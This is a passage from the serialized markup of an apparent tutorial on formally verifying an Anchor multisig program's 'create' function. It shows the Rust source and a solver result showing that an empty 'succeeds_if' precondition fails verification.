+ (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[20836],{"type":23,"tag":135,"props":20837,"children":20838},{"__ignoreMap":7},[20839,20856,20911,20941,20949,20957,20974,21025,21075,21083,21124,21131,21147,21180,21222,21229,21236,21255,21283,21303,21323,21351,21370,21378,21406,21426,21446,21453,21461,21493,21516,21551,21559,21567,21576,21618,21651,21659,21667,21676,21752,21785,21793,21801,21838,21851,21864,21877,21931,21940],{"type":23,"tag":139,"props":20840,"children":20841},{"class":141,"line":142},[20842,20847,20852],{"type":23,"tag":139,"props":20843,"children":20844},{"style":259},[20845],{"type":28,"value":20846},"#[derive(",{"type":23,"tag":139,"props":20848,"children":20849},{"style":305},[20850],{"type":28,"value":20851},"Accounts",{"type":23,"tag":139,"props":20853,"children":20854},{"style":259},[20855],{"type":28,"value":18266},{"type":23,"tag":139,"props":20857,"children":20858},{"class":141,"line":151},[20859,20864,20868,20872,20877,20881,20885,20890,20894,20898,20902,20906],{"type":23,"tag":139,"props":20860,"children":20861},{"style":259},[20862],{"type":28,"value":20863},"#[instruction(threshold",{"type":23,"tag":139,"props":20865,"children":20866},{"style":982},[20867],{"type":28,"value":2493},{"type":23,"tag":139,"props":20869,"children":20870},{"style":305},[20871],{"type":28,"value":19038},{"type":23,"tag":139,"props":20873,"children":20874},{"style":259},[20875],{"type":28,"value":20876},", create_key",{"type":23,"tag":139,"props":20878,"children":20879},{"style":982},[20880],{"type":28,"value":2493},{"type":23,"tag":139,"props":20882,"children":20883},{"style":305},[20884],{"type":28,"value":18865},{"type":23,"tag":139,"props":20886,"children":20887},{"style":259},[20888],{"type":28,"value":20889},", members",{"type":23,"tag":139,"props":20891,"children":20892},{"style":982},[20893],{"type":28,"value":2493},{"type":23,"tag":139,"props":20895,"children":20896},{"style":305},[20897],{"type":28,"value":19397},{"type":23,"tag":139,"props":20899,"children":20900},{"style":259},[20901],{"type":28,"value":3808},{"type":23,"tag":139,"props":20903,"children":20904},{"style":305},[20905],{"type":28,"value":19406},{"type":23,"tag":139,"props":20907,"children":20908},{"style":259},[20909],{"type":28,"value":20910},">)]\n",{"type":23,"tag":139,"props":20912,"children":20913},{"class":141,"line":160},[20914,20918,20922,20927,20932,20937],{"type":23,"tag":139,"props":20915,"children":20916},{"style":279},[20917],{"type":28,"value":11701},{"type":23,"tag":139,"props":20919,"children":20920},{"style":279},[20921],{"type":28,"value":19159},{"type":23,"tag":139,"props":20923,"children":20924},{"style":305},[20925],{"type":28,"value":20926}," Create",{"type":23,"tag":139,"props":20928,"children":20929},{"style":259},[20930],{"type":28,"value":20931},"\u003C'",{"type":23,"tag":139,"props":20933,"children":20934},{"style":305},[20935],{"type":28,"value":20936},"info",{"type":23,"tag":139,"props":20938,"children":20939},{"style":259},[20940],{"type":28,"value":5284},{"type":23,"tag":139,"props":20942,"children":20943},{"class":141,"line":169},[20944],{"type":23,"tag":139,"props":20945,"children":20946},{"style":259},[20947],{"type":28,"value":20948},"    #[account(\n",{"type":23,"tag":139,"props":20950,"children":20951},{"class":141,"line":178},[20952],{"type":23,"tag":139,"props":20953,"children":20954},{"style":259},[20955],{"type":28,"value":20956},"        init,\n",{"type":23,"tag":139,"props":20958,"children":20959},{"class":141,"line":187},[20960,20965,20969],{"type":23,"tag":139,"props":20961,"children":20962},{"style":259},[20963],{"type":28,"value":20964},"        payer ",{"type":23,"tag":139,"props":20966,"children":20967},{"style":982},[20968],{"type":28,"value":1067},{"type":23,"tag":139,"props":20970,"children":20971},{"style":259},[20972],{"type":28,"value":20973}," creator,\n",{"type":23,"tag":139,"props":20975,"children":20976},{"class":141,"line":196},[20977,20982,20986,20990,20994,20999,21003,21008,21012,21016,21020],{"type":23,"tag":139,"props":20978,"children":20979},{"style":259},[20980],{"type":28,"value":20981},"        space ",{"type":23,"tag":139,"props":20983,"children":20984},{"style":982},[20985],{"type":28,"value":1067},{"type":23,"tag":139,"props":20987,"children":20988},{"style":305},[20989],{"type":28,"value":19164},{"type":23,"tag":139,"props":20991,"children":20992},{"style":982},[20993],{"type":28,"value":1461},{"type":23,"tag":139,"props":20995,"children":20996},{"style":305},[20997],{"type":28,"value":20998},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":139,"props":21000,"children":21001},{"style":982},[21002],{"type":28,"value":6910},{"type":23,"tag":139,"props":21004,"children":21005},{"style":259},[21006],{"type":28,"value":21007}," (members",{"type":23,"tag":139,"props":21009,"children":21010},{"style":982},[21011],{"type":28,"value":73},{"type":23,"tag":139,"props":21013,"children":21014},{"style":259},[21015],{"type":28,"value":19029},{"type":23,"tag":139,"props":21017,"children":21018},{"style":982},[21019],{"type":28,"value":2573},{"type":23,"tag":139,"props":21021,"children":21022},{"style":259},[21023],{"type":28,"value":21024}," 32),\n",{"type":23,"tag":139,"props":21026,"children":21027},{"class":141,"line":205},[21028,21033,21037,21042,21047,21051,21055,21060,21065,21070],{"type":23,"tag":139,"props":21029,"children":21030},{"style":259},[21031],{"type":28,"value":21032},"        seeds ",{"type":23,"tag":139,"props":21034,"children":21035},{"style":982},[21036],{"type":28,"value":1067},{"type":23,"tag":139,"props":21038,"children":21039},{"style":259},[21040],{"type":28,"value":21041}," [",{"type":23,"tag":139,"props":21043,"children":21044},{"style":265},[21045],{"type":28,"value":21046},"b\"squad\"",{"type":23,"tag":139,"props":21048,"children":21049},{"style":259},[21050],{"type":28,"value":20876},{"type":23,"tag":139,"props":21052,"children":21053},{"style":982},[21054],{"type":28,"value":73},{"type":23,"tag":139,"props":21056,"children":21057},{"style":259},[21058],{"type":28,"value":21059},"as_ref(), ",{"type":23,"tag":139,"props":21061,"children":21062},{"style":265},[21063],{"type":28,"value":21064},"b\"multisig\"",{"type":23,"tag":139,"props":21066,"children":21067},{"style":259},[21068],{"type":28,"value":21069},"], ",{"type":23,"tag":139,"props":21071,"children":21072},{"style":294},[21073],{"type":28,"value":21074},"bump\n",{"type":23,"tag":139,"props":21076,"children":21077},{"class":141,"line":214},[21078],{"type":23,"tag":139,"props":21079,"children":21080},{"style":259},[21081],{"type":28,"value":21082},"    )]\n",{"type":23,"tag":139,"props":21084,"children":21085},{"class":141,"line":1320},[21086,21090,21095,21099,21104,21108,21112,21116,21120],{"type":23,"tag":139,"props":21087,"children":21088},{"style":279},[21089],{"type":28,"value":18851},{"type":23,"tag":139,"props":21091,"children":21092},{"style":294},[21093],{"type":28,"value":21094}," multisig",{"type":23,"tag":139,"props":21096,"children":21097},{"style":982},[21098],{"type":28,"value":2493},{"type":23,"tag":139,"props":21100,"children":21101},{"style":305},[21102],{"type":28,"value":21103}," Account",{"type":23,"tag":139,"props":21105,"children":21106},{"style":259},[21107],{"type":28,"value":20931},{"type":23,"tag":139,"props":21109,"children":21110},{"style":305},[21111],{"type":28,"value":20936},{"type":23,"tag":139,"props":21113,"children":21114},{"style":259},[21115],{"type":28,"value":1052},{"type":23,"tag":139,"props":21117,"children":21118},{"style":305},[21119],{"type":28,"value":20750},{"type":23,"tag":139,"props":21121,"children":21122},{"style":259},[21123],{"type":28,"value":4141},{"type":23,"tag":139,"props":21125,"children":21126},{"class":141,"line":1329},[21127],{"type":23,"tag":139,"props":21128,"children":21129},{"emptyLinePlaceholder":15},[21130],{"type":28,"value":184},{"type":23,"tag":139,"props":21132,"children":21133},{"class":141,"line":1580},[21134,21139,21143],{"type":23,"tag":139,"props":21135,"children":21136},{"style":259},[21137],{"type":28,"value":21138},"    #[account(",{"type":23,"tag":139,"props":21140,"children":21141},{"style":279},[21142],{"type":28,"value":1713},{"type":23,"tag":139,"props":21144,"children":21145},{"style":259},[21146],{"type":28,"value":18266},{"type":23,"tag":139,"props":21148,"children":21149},{"class":141,"line":1597},[21150,21154,21159,21163,21168,21172,21176],{"type":23,"tag":139,"props":21151,"children":21152},{"style":279},[21153],{"type":28,"value":18851},{"type":23,"tag":139,"props":21155,"children":21156},{"style":294},[21157],{"type":28,"value":21158}," creator",{"type":23,"tag":139,"props":21160,"children":21161},{"style":982},[21162],{"type":28,"value":2493},{"type":23,"tag":139,"props":21164,"children":21165},{"style":305},[21166],{"type":28,"value":21167}," Signer",{"type":23,"tag":139,"props":21169,"children":21170},{"style":259},[21171],{"type":28,"value":20931},{"type":23,"tag":139,"props":21173,"children":21174},{"style":305},[21175],{"type":28,"value":20936},{"type":23,"tag":139,"props":21177,"children":21178},{"style":259},[21179],{"type":28,"value":4141},{"type":23,"tag":139,"props":21181,"children":21182},{"class":141,"line":1614},[21183,21187,21192,21196,21201,21205,21209,21213,21218],{"type":23,"tag":139,"props":21184,"children":21185},{"style":279},[21186],{"type":28,"value":18851},{"type":23,"tag":139,"props":21188,"children":21189},{"style":294},[21190],{"type":28,"value":21191}," system_program",{"type":23,"tag":139,"props":21193,"children":21194},{"style":982},[21195],{"type":28,"value":2493},{"type":23,"tag":139,"props":21197,"children":21198},{"style":305},[21199],{"type":28,"value":21200}," Program",{"type":23,"tag":139,"props":21202,"children":21203},{"style":259},[21204],{"type":28,"value":20931},{"type":23,"tag":139,"props":21206,"children":21207},{"style":305},[21208],{"type":28,"value":20936},{"type":23,"tag":139,"props":21210,"children":21211},{"style":259},[21212],{"type":28,"value":1052},{"type":23,"tag":139,"props":21214,"children":21215},{"style":305},[21216],{"type":28,"value":21217},"System",{"type":23,"tag":139,"props":21219,"children":21220},{"style":259},[21221],{"type":28,"value":4141},{"type":23,"tag":139,"props":21223,"children":21224},{"class":141,"line":1627},[21225],{"type":23,"tag":139,"props":21226,"children":21227},{"style":259},[21228],{"type":28,"value":1897},{"type":23,"tag":139,"props":21230,"children":21231},{"class":141,"line":1636},[21232],{"type":23,"tag":139,"props":21233,"children":21234},{"emptyLinePlaceholder":15},[21235],{"type":28,"value":184},{"type":23,"tag":139,"props":21237,"children":21238},{"class":141,"line":1659},[21239,21243,21247,21251],{"type":23,"tag":139,"props":21240,"children":21241},{"style":279},[21242],{"type":28,"value":11701},{"type":23,"tag":139,"props":21244,"children":21245},{"style":279},[21246],{"type":28,"value":11706},{"type":23,"tag":139,"props":21248,"children":21249},{"style":245},[21250],{"type":28,"value":5115},{"type":23,"tag":139,"props":21252,"children":21253},{"style":259},[21254],{"type":28,"value":1443},{"type":23,"tag":139,"props":21256,"children":21257},{"class":141,"line":1667},[21258,21262,21266,21270,21274,21279],{"type":23,"tag":139,"props":21259,"children":21260},{"style":294},[21261],{"type":28,"value":18231},{"type":23,"tag":139,"props":21263,"children":21264},{"style":982},[21265],{"type":28,"value":2493},{"type":23,"tag":139,"props":21267,"children":21268},{"style":305},[21269],{"type":28,"value":18297},{"type":23,"tag":139,"props":21271,"children":21272},{"style":259},[21273],{"type":28,"value":3808},{"type":23,"tag":139,"props":21275,"children":21276},{"style":305},[21277],{"type":28,"value":21278},"Create",{"type":23,"tag":139,"props":21280,"children":21281},{"style":259},[21282],{"type":28,"value":4141},{"type":23,"tag":139,"props":21284,"children":21285},{"class":141,"line":1676},[21286,21291,21295,21299],{"type":23,"tag":139,"props":21287,"children":21288},{"style":294},[21289],{"type":28,"value":21290},"    threshold",{"type":23,"tag":139,"props":21292,"children":21293},{"style":982},[21294],{"type":28,"value":2493},{"type":23,"tag":139,"props":21296,"children":21297},{"style":305},[21298],{"type":28,"value":19038},{"type":23,"tag":139,"props":21300,"children":21301},{"style":259},[21302],{"type":28,"value":1488},{"type":23,"tag":139,"props":21304,"children":21305},{"class":141,"line":1745},[21306,21311,21315,21319],{"type":23,"tag":139,"props":21307,"children":21308},{"style":294},[21309],{"type":28,"value":21310},"    create_key",{"type":23,"tag":139,"props":21312,"children":21313},{"style":982},[21314],{"type":28,"value":2493},{"type":23,"tag":139,"props":21316,"children":21317},{"style":305},[21318],{"type":28,"value":18865},{"type":23,"tag":139,"props":21320,"children":21321},{"style":259},[21322],{"type":28,"value":1488},{"type":23,"tag":139,"props":21324,"children":21325},{"class":141,"line":1753},[21326,21331,21335,21339,21343,21347],{"type":23,"tag":139,"props":21327,"children":21328},{"style":294},[21329],{"type":28,"value":21330},"    members",{"type":23,"tag":139,"props":21332,"children":21333},{"style":982},[21334],{"type":28,"value":2493},{"type":23,"tag":139,"props":21336,"children":21337},{"style":305},[21338],{"type":28,"value":19397},{"type":23,"tag":139,"props":21340,"children":21341},{"style":259},[21342],{"type":28,"value":3808},{"type":23,"tag":139,"props":21344,"children":21345},{"style":305},[21346],{"type":28,"value":19406},{"type":23,"tag":139,"props":21348,"children":21349},{"style":259},[21350],{"type":28,"value":4141},{"type":23,"tag":139,"props":21352,"children":21353},{"class":141,"line":1783},[21354,21358,21362,21366],{"type":23,"tag":139,"props":21355,"children":21356},{"style":259},[21357],{"type":28,"value":1062},{"type":23,"tag":139,"props":21359,"children":21360},{"style":982},[21361],{"type":28,"value":11768},{"type":23,"tag":139,"props":21363,"children":21364},{"style":305},[21365],{"type":28,"value":11773},{"type":23,"tag":139,"props":21367,"children":21368},{"style":259},[21369],{"type":28,"value":18339},{"type":23,"tag":139,"props":21371,"children":21372},{"class":141,"line":1791},[21373],{"type":23,"tag":139,"props":21374,"children":21375},{"style":958},[21376],{"type":28,"value":21377},"    // sort the members and remove duplicates\n",{"type":23,"tag":139,"props":21379,"children":21380},{"class":141,"line":1823},[21381,21385,21389,21394,21398,21402],{"type":23,"tag":139,"props":21382,"children":21383},{"style":279},[21384],{"type":28,"value":969},{"type":23,"tag":139,"props":21386,"children":21387},{"style":279},[21388],{"type":28,"value":974},{"type":23,"tag":139,"props":21390,"children":21391},{"style":294},[21392],{"type":28,"value":21393}," members",{"type":23,"tag":139,"props":21395,"children":21396},{"style":982},[21397],{"type":28,"value":985},{"type":23,"tag":139,"props":21399,"children":21400},{"style":294},[21401],{"type":28,"value":21393},{"type":23,"tag":139,"props":21403,"children":21404},{"style":259},[21405],{"type":28,"value":995},{"type":23,"tag":139,"props":21407,"children":21408},{"class":141,"line":1831},[21409,21413,21417,21422],{"type":23,"tag":139,"props":21410,"children":21411},{"style":294},[21412],{"type":28,"value":21330},{"type":23,"tag":139,"props":21414,"children":21415},{"style":982},[21416],{"type":28,"value":73},{"type":23,"tag":139,"props":21418,"children":21419},{"style":245},[21420],{"type":28,"value":21421},"sort",{"type":23,"tag":139,"props":21423,"children":21424},{"style":259},[21425],{"type":28,"value":1656},{"type":23,"tag":139,"props":21427,"children":21428},{"class":141,"line":1891},[21429,21433,21437,21442],{"type":23,"tag":139,"props":21430,"children":21431},{"style":294},[21432],{"type":28,"value":21330},{"type":23,"tag":139,"props":21434,"children":21435},{"style":982},[21436],{"type":28,"value":73},{"type":23,"tag":139,"props":21438,"children":21439},{"style":245},[21440],{"type":28,"value":21441},"dedup",{"type":23,"tag":139,"props":21443,"children":21444},{"style":259},[21445],{"type":28,"value":1656},{"type":23,"tag":139,"props":21447,"children":21448},{"class":141,"line":7053},[21449],{"type":23,"tag":139,"props":21450,"children":21451},{"emptyLinePlaceholder":15},[21452],{"type":28,"value":184},{"type":23,"tag":139,"props":21454,"children":21455},{"class":141,"line":7071},[21456],{"type":23,"tag":139,"props":21457,"children":21458},{"style":958},[21459],{"type":28,"value":21460},"    // check we don't exceed u16\n",{"type":23,"tag":139,"props":21462,"children":21463},{"class":141,"line":7116},[21464,21468,21473,21477,21481,21485,21489],{"type":23,"tag":139,"props":21465,"children":21466},{"style":279},[21467],{"type":28,"value":969},{"type":23,"tag":139,"props":21469,"children":21470},{"style":294},[21471],{"type":28,"value":21472}," total_members",{"type":23,"tag":139,"props":21474,"children":21475},{"style":982},[21476],{"type":28,"value":985},{"type":23,"tag":139,"props":21478,"children":21479},{"style":294},[21480],{"type":28,"value":21393},{"type":23,"tag":139,"props":21482,"children":21483},{"style":982},[21484],{"type":28,"value":73},{"type":23,"tag":139,"props":21486,"children":21487},{"style":245},[21488],{"type":28,"value":7146},{"type":23,"tag":139,"props":21490,"children":21491},{"style":259},[21492],{"type":28,"value":1656},{"type":23,"tag":139,"props":21494,"children":21495},{"class":141,"line":7222},[21496,21500,21504,21508,21512],{"type":23,"tag":139,"props":21497,"children":21498},{"style":319},[21499],{"type":28,"value":10290},{"type":23,"tag":139,"props":21501,"children":21502},{"style":294},[21503],{"type":28,"value":21472},{"type":23,"tag":139,"props":21505,"children":21506},{"style":982},[21507],{"type":28,"value":6724},{"type":23,"tag":139,"props":21509,"children":21510},{"style":1016},[21511],{"type":28,"value":2525},{"type":23,"tag":139,"props":21513,"children":21514},{"style":259},[21515],{"type":28,"value":1268},{"type":23,"tag":139,"props":21517,"children":21519},{"class":141,"line":21518},31,[21520,21524,21529,21533,21538,21542,21547],{"type":23,"tag":139,"props":21521,"children":21522},{"style":319},[21523],{"type":28,"value":13755},{"type":23,"tag":139,"props":21525,"children":21526},{"style":245},[21527],{"type":28,"value":21528}," err!",{"type":23,"tag":139,"props":21530,"children":21531},{"style":259},[21532],{"type":28,"value":262},{"type":23,"tag":139,"props":21534,"children":21535},{"style":305},[21536],{"type":28,"value":21537},"MsError",{"type":23,"tag":139,"props":21539,"children":21540},{"style":982},[21541],{"type":28,"value":1461},{"type":23,"tag":139,"props":21543,"children":21544},{"style":305},[21545],{"type":28,"value":21546},"EmptyMembers",{"type":23,"tag":139,"props":21548,"children":21549},{"style":259},[21550],{"type":28,"value":1820},{"type":23,"tag":139,"props":21552,"children":21554},{"class":141,"line":21553},32,[21555],{"type":23,"tag":139,"props":21556,"children":21557},{"style":259},[21558],{"type":28,"value":1335},{"type":23,"tag":139,"props":21560,"children":21562},{"class":141,"line":21561},33,[21563],{"type":23,"tag":139,"props":21564,"children":21565},{"emptyLinePlaceholder":15},[21566],{"type":28,"value":184},{"type":23,"tag":139,"props":21568,"children":21570},{"class":141,"line":21569},34,[21571],{"type":23,"tag":139,"props":21572,"children":21573},{"style":958},[21574],{"type":28,"value":21575},"    // make sure we don't exceed u16 on first call\n",{"type":23,"tag":139,"props":21577,"children":21579},{"class":141,"line":21578},35,[21580,21584,21588,21592,21596,21600,21604,21609,21613],{"type":23,"tag":139,"props":21581,"children":21582},{"style":319},[21583],{"type":28,"value":10290},{"type":23,"tag":139,"props":21585,"children":21586},{"style":294},[21587],{"type":28,"value":21472},{"type":23,"tag":139,"props":21589,"children":21590},{"style":982},[21591],{"type":28,"value":12205},{"type":23,"tag":139,"props":21593,"children":21594},{"style":305},[21595],{"type":28,"value":11742},{"type":23,"tag":139,"props":21597,"children":21598},{"style":982},[21599],{"type":28,"value":1461},{"type":23,"tag":139,"props":21601,"children":21602},{"style":245},[21603],{"type":28,"value":17480},{"type":23,"tag":139,"props":21605,"children":21606},{"style":259},[21607],{"type":28,"value":21608},"(u16",{"type":23,"tag":139,"props":21610,"children":21611},{"style":982},[21612],{"type":28,"value":1461},{"type":23,"tag":139,"props":21614,"children":21615},{"style":259},[21616],{"type":28,"value":21617},"MAX) {\n",{"type":23,"tag":139,"props":21619,"children":21621},{"class":141,"line":21620},36,[21622,21626,21630,21634,21638,21642,21647],{"type":23,"tag":139,"props":21623,"children":21624},{"style":319},[21625],{"type":28,"value":13755},{"type":23,"tag":139,"props":21627,"children":21628},{"style":245},[21629],{"type":28,"value":21528},{"type":23,"tag":139,"props":21631,"children":21632},{"style":259},[21633],{"type":28,"value":262},{"type":23,"tag":139,"props":21635,"children":21636},{"style":305},[21637],{"type":28,"value":21537},{"type":23,"tag":139,"props":21639,"children":21640},{"style":982},[21641],{"type":28,"value":1461},{"type":23,"tag":139,"props":21643,"children":21644},{"style":305},[21645],{"type":28,"value":21646},"MaxMembersReached",{"type":23,"tag":139,"props":21648,"children":21649},{"style":259},[21650],{"type":28,"value":1820},{"type":23,"tag":139,"props":21652,"children":21654},{"class":141,"line":21653},37,[21655],{"type":23,"tag":139,"props":21656,"children":21657},{"style":259},[21658],{"type":28,"value":1335},{"type":23,"tag":139,"props":21660,"children":21662},{"class":141,"line":21661},38,[21663],{"type":23,"tag":139,"props":21664,"children":21665},{"emptyLinePlaceholder":15},[21666],{"type":28,"value":184},{"type":23,"tag":139,"props":21668,"children":21670},{"class":141,"line":21669},39,[21671],{"type":23,"tag":139,"props":21672,"children":21673},{"style":958},[21674],{"type":28,"value":21675},"    // make sure threshold is valid\n",{"type":23,"tag":139,"props":21677,"children":21679},{"class":141,"line":21678},40,[21680,21684,21688,21692,21696,21700,21704,21709,21713,21718,21722,21726,21730,21734,21738,21743,21748],{"type":23,"tag":139,"props":21681,"children":21682},{"style":319},[21683],{"type":28,"value":10290},{"type":23,"tag":139,"props":21685,"children":21686},{"style":305},[21687],{"type":28,"value":11742},{"type":23,"tag":139,"props":21689,"children":21690},{"style":982},[21691],{"type":28,"value":1461},{"type":23,"tag":139,"props":21693,"children":21694},{"style":245},[21695],{"type":28,"value":17480},{"type":23,"tag":139,"props":21697,"children":21698},{"style":259},[21699],{"type":28,"value":262},{"type":23,"tag":139,"props":21701,"children":21702},{"style":294},[21703],{"type":28,"value":20758},{"type":23,"tag":139,"props":21705,"children":21706},{"style":259},[21707],{"type":28,"value":21708},") \u003C ",{"type":23,"tag":139,"props":21710,"children":21711},{"style":1016},[21712],{"type":28,"value":647},{"type":23,"tag":139,"props":21714,"children":21715},{"style":982},[21716],{"type":28,"value":21717}," ||",{"type":23,"tag":139,"props":21719,"children":21720},{"style":305},[21721],{"type":28,"value":11742},{"type":23,"tag":139,"props":21723,"children":21724},{"style":982},[21725],{"type":28,"value":1461},{"type":23,"tag":139,"props":21727,"children":21728},{"style":245},[21729],{"type":28,"value":17480},{"type":23,"tag":139,"props":21731,"children":21732},{"style":259},[21733],{"type":28,"value":262},{"type":23,"tag":139,"props":21735,"children":21736},{"style":294},[21737],{"type":28,"value":20758},{"type":23,"tag":139,"props":21739,"children":21740},{"style":259},[21741],{"type":28,"value":21742},") > ",{"type":23,"tag":139,"props":21744,"children":21745},{"style":294},[21746],{"type":28,"value":21747},"total_members",{"type":23,"tag":139,"props":21749,"children":21750},{"style":259},[21751],{"type":28,"value":1268},{"type":23,"tag":139,"props":21753,"children":21755},{"class":141,"line":21754},41,[21756,21760,21764,21768,21772,21776,21781],{"type":23,"tag":139,"props":21757,"children":21758},{"style":319},[21759],{"type":28,"value":13755},{"type":23,"tag":139,"props":21761,"children":21762},{"style":245},[21763],{"type":28,"value":21528},{"type":23,"tag":139,"props":21765,"children":21766},{"style":259},[21767],{"type":28,"value":262},{"type":23,"tag":139,"props":21769,"children":21770},{"style":305},[21771],{"type":28,"value":21537},{"type":23,"tag":139,"props":21773,"children":21774},{"style":982},[21775],{"type":28,"value":1461},{"type":23,"tag":139,"props":21777,"children":21778},{"style":305},[21779],{"type":28,"value":21780},"InvalidThreshold",{"type":23,"tag":139,"props":21782,"children":21783},{"style":259},[21784],{"type":28,"value":1820},{"type":23,"tag":139,"props":21786,"children":21788},{"class":141,"line":21787},42,[21789],{"type":23,"tag":139,"props":21790,"children":21791},{"style":259},[21792],{"type":28,"value":1335},{"type":23,"tag":139,"props":21794,"children":21796},{"class":141,"line":21795},43,[21797],{"type":23,"tag":139,"props":21798,"children":21799},{"emptyLinePlaceholder":15},[21800],{"type":28,"value":184},{"type":23,"tag":139,"props":21802,"children":21804},{"class":141,"line":21803},44,[21805,21809,21813,21817,21821,21826,21830,21834],{"type":23,"tag":139,"props":21806,"children":21807},{"style":294},[21808],{"type":28,"value":18231},{"type":23,"tag":139,"props":21810,"children":21811},{"style":982},[21812],{"type":28,"value":73},{"type":23,"tag":139,"props":21814,"children":21815},{"style":259},[21816],{"type":28,"value":12686},{"type":23,"tag":139,"props":21818,"children":21819},{"style":982},[21820],{"type":28,"value":73},{"type":23,"tag":139,"props":21822,"children":21823},{"style":259},[21824],{"type":28,"value":21825},"multisig",{"type":23,"tag":139,"props":21827,"children":21828},{"style":982},[21829],{"type":28,"value":73},{"type":23,"tag":139,"props":21831,"children":21832},{"style":245},[21833],{"type":28,"value":18748},{"type":23,"tag":139,"props":21835,"children":21836},{"style":259},[21837],{"type":28,"value":1443},{"type":23,"tag":139,"props":21839,"children":21841},{"class":141,"line":21840},45,[21842,21847],{"type":23,"tag":139,"props":21843,"children":21844},{"style":294},[21845],{"type":28,"value":21846},"        threshold",{"type":23,"tag":139,"props":21848,"children":21849},{"style":259},[21850],{"type":28,"value":1488},{"type":23,"tag":139,"props":21852,"children":21854},{"class":141,"line":21853},46,[21855,21860],{"type":23,"tag":139,"props":21856,"children":21857},{"style":294},[21858],{"type":28,"value":21859},"        create_key",{"type":23,"tag":139,"props":21861,"children":21862},{"style":259},[21863],{"type":28,"value":1488},{"type":23,"tag":139,"props":21865,"children":21867},{"class":141,"line":21866},47,[21868,21873],{"type":23,"tag":139,"props":21869,"children":21870},{"style":294},[21871],{"type":28,"value":21872},"        members",{"type":23,"tag":139,"props":21874,"children":21875},{"style":259},[21876],{"type":28,"value":1488},{"type":23,"tag":139,"props":21878,"children":21880},{"class":141,"line":21879},48,[21881,21885,21889,21893,21898,21902,21906,21910,21915,21919,21923,21927],{"type":23,"tag":139,"props":21882,"children":21883},{"style":982},[21884],{"type":28,"value":5755},{"type":23,"tag":139,"props":21886,"children":21887},{"style":294},[21888],{"type":28,"value":18288},{"type":23,"tag":139,"props":21890,"children":21891},{"style":982},[21892],{"type":28,"value":73},{"type":23,"tag":139,"props":21894,"children":21895},{"style":259},[21896],{"type":28,"value":21897},"bumps",{"type":23,"tag":139,"props":21899,"children":21900},{"style":982},[21901],{"type":28,"value":73},{"type":23,"tag":139,"props":21903,"children":21904},{"style":245},[21905],{"type":28,"value":14363},{"type":23,"tag":139,"props":21907,"children":21908},{"style":259},[21909],{"type":28,"value":262},{"type":23,"tag":139,"props":21911,"children":21912},{"style":265},[21913],{"type":28,"value":21914},"\"multisig\"",{"type":23,"tag":139,"props":21916,"children":21917},{"style":259},[21918],{"type":28,"value":1104},{"type":23,"tag":139,"props":21920,"children":21921},{"style":982},[21922],{"type":28,"value":73},{"type":23,"tag":139,"props":21924,"children":21925},{"style":245},[21926],{"type":28,"value":1651},{"type":23,"tag":139,"props":21928,"children":21929},{"style":259},[21930],{"type":28,"value":1471},{"type":23,"tag":139,"props":21932,"children":21934},{"class":141,"line":21933},49,[21935],{"type":23,"tag":139,"props":21936,"children":21937},{"style":259},[21938],{"type":28,"value":21939},"    )\n",{"type":23,"tag":139,"props":21941,"children":21943},{"class":141,"line":21942},50,[21944],{"type":23,"tag":139,"props":21945,"children":21946},{"style":259},[21947],{"type":28,"value":1897},{"type":23,"tag":24,"props":21949,"children":21950},{},[21951,21953,21958,21960,21965],{"type":28,"value":21952},"We can start by testing an empty ",{"type":23,"tag":135,"props":21954,"children":21956},{"className":21955},[],[21957],{"type":28,"value":18162},{"type":28,"value":21959}," (this will default to ",{"type":23,"tag":135,"props":21961,"children":21963},{"className":21962},[],[21964],{"type":28,"value":1993},{"type":28,"value":21966},"):",{"type":23,"tag":128,"props":21968,"children":21970},{"code":21969,"language":947,"meta":7,"className":948,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[21971],{"type":23,"tag":135,"props":21972,"children":21973},{"__ignoreMap":7},[21974,21982],{"type":23,"tag":139,"props":21975,"children":21976},{"class":141,"line":142},[21977],{"type":23,"tag":139,"props":21978,"children":21979},{"style":259},[21980],{"type":28,"value":21981},"#[succeeds_if()]\n",{"type":23,"tag":139,"props":21983,"children":21984},{"class":141,"line":151},[21985,21989,21993,21997,22001,22005,22010,22014],{"type":23,"tag":139,"props":21986,"children":21987},{"style":279},[21988],{"type":28,"value":11701},{"type":23,"tag":139,"props":21990,"children":21991},{"style":279},[21992],{"type":28,"value":11706},{"type":23,"tag":139,"props":21994,"children":21995},{"style":245},[21996],{"type":28,"value":5115},{"type":23,"tag":139,"props":21998,"children":21999},{"style":259},[22000],{"type":28,"value":262},{"type":23,"tag":139,"props":22002,"children":22003},{"style":982},[22004],{"type":28,"value":7599},{"type":23,"tag":139,"props":22006,"children":22007},{"style":259},[22008],{"type":28,"value":22009},") { ",{"type":23,"tag":139,"props":22011,"children":22012},{"style":982},[22013],{"type":28,"value":7599},{"type":23,"tag":139,"props":22015,"children":22016},{"style":259},[22017],{"type":28,"value":7604},{"type":23,"tag":24,"props":22019,"children":22020},{},[22021],{"type":28,"value":22022},"Running the solver, we get:",{"type":23,"tag":128,"props":22024,"children":22026},{"code":22025},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[22027],{"type":23,"tag":135,"props":22028,"children":22029},{"__ignoreMap":7},[22030],{"type":28,"value":22025},{"type":23,"tag":24,"props":22032,"children":22033},{},[22034,22036,22041],{"type":28,"value":22035},"This means that ",{"type":23,"tag":135,"props":22037,"children":22039},{"className":22038},[],[22040],{"type":28,"value":1993},{"type":28,"value":22042}," does not imply that the function will succeed (which is expected looking at the implementation 